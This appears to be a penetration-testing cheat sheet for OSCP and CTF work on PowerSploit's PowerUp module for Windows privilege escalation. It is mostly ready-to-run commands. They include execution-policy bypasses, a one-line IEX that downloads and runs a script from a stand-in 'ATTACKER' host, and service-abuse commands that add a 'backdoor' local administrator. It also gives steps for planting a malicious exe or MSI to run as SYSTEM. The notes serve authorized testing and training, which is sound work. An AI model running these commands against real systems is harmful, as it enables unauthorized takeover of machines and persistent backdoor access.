PowerUp — Windows Privilege Escalation
Ctrl+F:
PowerUp·ExecutionPolicy·Set-ExecutionPolicy·Invoke-AllChecks·Get-Command·Invoke-ServiceAbuse·Get-UnquotedService
What it is: PowerShell module from PowerSploit for local Windows privilege escalation — finds misconfigured services, registry keys, DLL hijacks, and suggests exploit commands.
| Purpose | Windows privilege escalation |
| Phase | Local PrivEsc |
| Platform | Windows shell (PowerShell) |
| Repo | PowerSploit/Privesc/PowerUp.ps1 |
Linux alternative: WinPEAS · manual Windows PrivEsc
Load
Execution policy blocking PowerUp.ps1?
PowerShell may work, but execution policy stops the script from loading — . .\PowerUp.ps1 fails silently or errors. Easiest fix for current session only:
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
. .\PowerUp.ps1
# Verify module loaded
Get-Command Invoke-AllChecks
Invoke-AllChecks| Flag | Meaning |
|---|---|
-Scope Process | Temporary — only this PowerShell process; gone when you close the shell |
-ExecutionPolicy Bypass | Allows loading .ps1 scripts (PowerUp) |
OSCP/CTF: Authorized testing — bypass is fine. Prefer
-Scope Processover machine-wide changes.
Other load methods
# New PowerShell process with bypass (no Set-ExecutionPolicy needed)
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
# Download + load in one line (IEX)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER:8080/PowerUp.ps1')
Invoke-AllChecks
# From disk (after upload via evil-winrm / certutil)
Import-Module .\PowerUp.ps1
# or dot-source:
. .\PowerUp.ps1→ evil-winrm · File Transfer · PowerShell Cmdlets
📌 Main commands
Full auto scan
Invoke-AllChecksRuns all checks — unquoted service paths, modifiable service binaries, registry autologon, AlwaysInstallElevated, etc. Read output carefully — often includes exact abuse command.
Targeted checks
Get-UnquotedService # Unquoted service path → path hijack
Get-ModifiableServiceFile # Writable service .exe
Get-ModifiableService # Can change service config
Get-ModifiableRegistryAutoLogon # Autologon creds in registry
Get-RegistryAlwaysInstallElevated # MSI installs as SYSTEM
Get-ProcessLocalGroups # Process token groups
Find-ProcessDLLHijack # DLL hijack opportunities → [[DLL Hijacking]]→ DLL Hijacking · DLL Injection
📌 Abuse examples
Modifiable service → add local admin
# PowerUp suggests the command after Invoke-AllChecks
Invoke-ServiceAbuse -Name 'VulnService' -UserName ".\backdoor" -Password "Password123!"
# Or add to Administrators:
Invoke-ServiceAbuse -Name 'VulnService' -Command "net localgroup administrators backdoor /add"Unquoted service path
If service path is C:\Program Files\Vuln App\service.exe (no quotes), place malicious exe at C:\Program.exe — see Windows PrivEsc.
AlwaysInstallElevated
→ AlwaysInstallElevated - MSI Privilege Escalation (WinPEAS · msfvenom MSI · msiexec)
Get-RegistryAlwaysInstallElevated
# If both HKLM + HKCU set → install malicious MSI as SYSTEM📌 OSCP workflow
1. Shell as low-priv domain/local user
2. whoami /priv → SeImpersonate? → [[Potato Attacks]] FIRST
3. Set-ExecutionPolicy -Scope Process Bypass → . .\PowerUp.ps1 → Get-Command Invoke-AllChecks
4. Invoke-AllChecks
5. Abuse finding (service/registry/DLL)
6. SYSTEM or local admin → loot / pivot
Pair with WinPEAS for broader coverage — PowerUp is lighter and service-focused.
📌 Quick cheat sheet
# Execution policy fix (current session)
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
. .\PowerUp.ps1
Get-Command Invoke-AllChecks
Invoke-AllChecks
# Or new process
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
Get-UnquotedService
Get-ModifiableService
Invoke-ServiceAbuse -Name 'SERVICE' -UserName ".\user" -Password "Pass123!"📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.
→ Linux > 📌 1) Basic Manual Enumeration